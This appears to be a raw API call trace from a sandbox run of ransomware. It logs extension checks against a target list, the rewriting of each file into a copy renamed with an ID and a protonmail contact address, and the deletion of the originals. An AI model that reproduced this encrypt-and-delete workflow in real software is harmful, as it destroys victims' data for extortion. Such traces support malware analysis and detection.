	[0062.143] lstrlenW (lpString=".pdf") returned 4
	[0062.143] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.143] lstrlenW (lpString=".xls") returned 4
	[0062.143] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.143] lstrlenW (lpString=".xlsx") returned 5
	[0062.143] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.143] lstrlenW (lpString=".ppt") returned 4
	[0062.143] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.143] lstrlenW (lpString=".zip") returned 4
	[0062.143] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.143] lstrlenW (lpString=".rar") returned 4
	[0062.143] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.143] lstrlenW (lpString=".bz2") returned 4
	[0062.143] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.143] lstrlenW (lpString=".7z") returned 3
	[0062.143] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.144] lstrlenW (lpString=".dbf") returned 4
	[0062.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.144] lstrlenW (lpString=".1cd") returned 4
	[0062.144] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.144] lstrlenW (lpString=".jpg") returned 4
	[0062.144] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.144] lstrlenW (lpString=".doc") returned 4
	[0062.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.144] lstrlenW (lpString=".docx") returned 5
	[0062.144] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.144] lstrlenW (lpString=".pdf") returned 4
	[0062.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.144] lstrlenW (lpString=".xls") returned 4
	[0062.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.144] lstrlenW (lpString=".xlsx") returned 5
	[0062.144] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.144] lstrlenW (lpString=".ppt") returned 4
	[0062.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.144] lstrlenW (lpString=".zip") returned 4
	[0062.144] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.144] lstrlenW (lpString=".rar") returned 4
	[0062.144] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.144] lstrlenW (lpString=".bz2") returned 4
	[0062.144] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.145] lstrlenW (lpString=".7z") returned 3
	[0062.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.145] lstrlenW (lpString=".dbf") returned 4
	[0062.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.145] lstrlenW (lpString=".1cd") returned 4
	[0062.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0062.145] lstrlenW (lpString=".jpg") returned 4
	[0062.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.145] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0062.145] lstrlenW (lpString="SetupResources.dll") returned 18
	[0062.145] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.145] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=18776) returned 1
	[0062.145] CloseHandle (hObject=0x33c) returned 1
	[0062.145] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80
	[0062.146] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.146] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.146] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.146] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.146] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0062.149] GetLastError () returned 0x0
	[0062.149] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0062.151] WriteFile (in: hFile=0x348, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0062.152] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.152] WriteFile (in: hFile=0x348, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.152] SetEndOfFile (hFile=0x348) returned 1
	[0062.152] CloseHandle (hObject=0x348) returned 1
	[0062.155] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.155] SetEndOfFile (hFile=0x33c) returned 1
	[0062.156] CloseHandle (hObject=0x33c) returned 1
	[0062.156] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.156] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1
	[0062.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.156] lstrlenW (lpString=".doc") returned 4
	[0062.156] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.157] lstrlenW (lpString=".docx") returned 5
	[0062.157] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.157] lstrlenW (lpString=".pdf") returned 4
	[0062.157] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.157] lstrlenW (lpString=".xls") returned 4
	[0062.157] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.157] lstrlenW (lpString=".xlsx") returned 5
	[0062.157] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.157] lstrlenW (lpString=".ppt") returned 4
	[0062.157] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.157] lstrlenW (lpString=".zip") returned 4
	[0062.157] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.157] lstrlenW (lpString=".rar") returned 4
	[0062.157] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.157] lstrlenW (lpString=".bz2") returned 4
	[0062.157] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.157] lstrlenW (lpString=".7z") returned 3
	[0062.157] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.157] lstrlenW (lpString=".dbf") returned 4
	[0062.157] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.157] lstrlenW (lpString=".1cd") returned 4
	[0062.157] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.157] lstrlenW (lpString=".jpg") returned 4
	[0062.157] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.157] lstrlenW (lpString=".doc") returned 4
	[0062.158] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.158] lstrlenW (lpString=".docx") returned 5
	[0062.158] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.158] lstrlenW (lpString=".pdf") returned 4
	[0062.158] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.158] lstrlenW (lpString=".xls") returned 4
	[0062.158] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.158] lstrlenW (lpString=".xlsx") returned 5
	[0062.158] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.158] lstrlenW (lpString=".ppt") returned 4
	[0062.158] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.158] lstrlenW (lpString=".zip") returned 4
	[0062.158] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.158] lstrlenW (lpString=".rar") returned 4
	[0062.158] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.158] lstrlenW (lpString=".bz2") returned 4
	[0062.158] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.158] lstrlenW (lpString=".7z") returned 3
	[0062.158] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.158] lstrlenW (lpString=".dbf") returned 4
	[0062.158] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.158] lstrlenW (lpString=".1cd") returned 4
	[0062.158] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.158] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0062.158] lstrlenW (lpString=".jpg") returned 4
	[0062.158] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.159] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0062.159] lstrlenW (lpString="SetupResources.dll") returned 18
	[0062.159] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.159] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=14168) returned 1
	[0062.159] CloseHandle (hObject=0x33c) returned 1
	[0062.159] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80
	[0062.159] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.159] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.159] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.159] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.159] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0062.683] GetLastError () returned 0x0
	[0062.683] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0062.685] WriteFile (in: hFile=0x340, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0062.686] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.686] WriteFile (in: hFile=0x340, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.686] SetEndOfFile (hFile=0x340) returned 1
	[0062.686] CloseHandle (hObject=0x340) returned 1
	[0062.687] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.687] SetEndOfFile (hFile=0x33c) returned 1
	[0062.688] CloseHandle (hObject=0x33c) returned 1
	[0062.688] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.689] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1
	[0062.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.689] lstrlenW (lpString=".doc") returned 4
	[0062.689] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.689] lstrlenW (lpString=".docx") returned 5
	[0062.689] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.689] lstrlenW (lpString=".pdf") returned 4
	[0062.689] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.689] lstrlenW (lpString=".xls") returned 4
	[0062.689] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.689] lstrlenW (lpString=".xlsx") returned 5
	[0062.689] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.689] lstrlenW (lpString=".ppt") returned 4
	[0062.689] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.689] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.689] lstrlenW (lpString=".zip") returned 4
	[0062.689] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.689] lstrlenW (lpString=".rar") returned 4
	[0062.689] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString=".bz2") returned 4
	[0062.690] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.690] lstrlenW (lpString=".7z") returned 3
	[0062.690] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.690] lstrlenW (lpString=".dbf") returned 4
	[0062.690] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.690] lstrlenW (lpString=".1cd") returned 4
	[0062.690] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.690] lstrlenW (lpString=".jpg") returned 4
	[0062.690] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.690] lstrlenW (lpString=".doc") returned 4
	[0062.690] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString=".docx") returned 5
	[0062.690] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.690] lstrlenW (lpString=".pdf") returned 4
	[0062.690] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString=".xls") returned 4
	[0062.690] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString=".xlsx") returned 5
	[0062.690] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.690] lstrlenW (lpString=".ppt") returned 4
	[0062.690] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.690] lstrlenW (lpString=".zip") returned 4
	[0062.690] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.690] lstrlenW (lpString=".rar") returned 4
	[0062.690] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.691] lstrlenW (lpString=".bz2") returned 4
	[0062.691] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.691] lstrlenW (lpString=".7z") returned 3
	[0062.691] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.691] lstrlenW (lpString=".dbf") returned 4
	[0062.691] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.691] lstrlenW (lpString=".1cd") returned 4
	[0062.691] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.691] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0062.691] lstrlenW (lpString=".jpg") returned 4
	[0062.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.691] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.691] lstrlenW (lpString="Rotate8.ico") returned 11
	[0062.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.692] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=894) returned 1
	[0062.692] CloseHandle (hObject=0x33c) returned 1
	[0062.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80
	[0062.692] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.692] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.692] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0062.693] GetLastError () returned 0x0
	[0062.693] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0062.694] WriteFile (in: hFile=0x340, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x380, lpOverlapped=0x0) returned 1
	[0062.695] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.695] WriteFile (in: hFile=0x340, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xea, lpOverlapped=0x0) returned 1
	[0062.695] SetEndOfFile (hFile=0x340) returned 1
	[0062.695] CloseHandle (hObject=0x340) returned 1
	[0062.696] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.697] SetEndOfFile (hFile=0x33c) returned 1
	[0062.698] CloseHandle (hObject=0x33c) returned 1
	[0062.698] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.698] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1
	[0062.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.698] lstrlenW (lpString=".doc") returned 4
	[0062.698] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.698] lstrlenW (lpString=".docx") returned 5
	[0062.698] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1
	[0062.698] lstrlenW (lpString=".pdf") returned 4
	[0062.698] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.698] lstrlenW (lpString=".xls") returned 4
	[0062.698] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.699] lstrlenW (lpString=".xlsx") returned 5
	[0062.699] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1
	[0062.699] lstrlenW (lpString=".ppt") returned 4
	[0062.699] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.699] lstrlenW (lpString=".zip") returned 4
	[0062.699] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.699] lstrlenW (lpString=".rar") returned 4
	[0062.699] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.699] lstrlenW (lpString=".bz2") returned 4
	[0062.699] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.699] lstrlenW (lpString=".7z") returned 3
	[0062.699] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.699] lstrlenW (lpString=".dbf") returned 4
	[0062.699] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.699] lstrlenW (lpString=".1cd") returned 4
	[0062.699] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.699] lstrlenW (lpString=".jpg") returned 4
	[0062.699] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0062.699] lstrlenW (lpString=".doc") returned 4
	[0062.699] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.699] lstrlenW (lpString=".docx") returned 5
	[0062.699] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1
	[0062.699] lstrlenW (lpString=".pdf") returned 4
	[0062.699] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
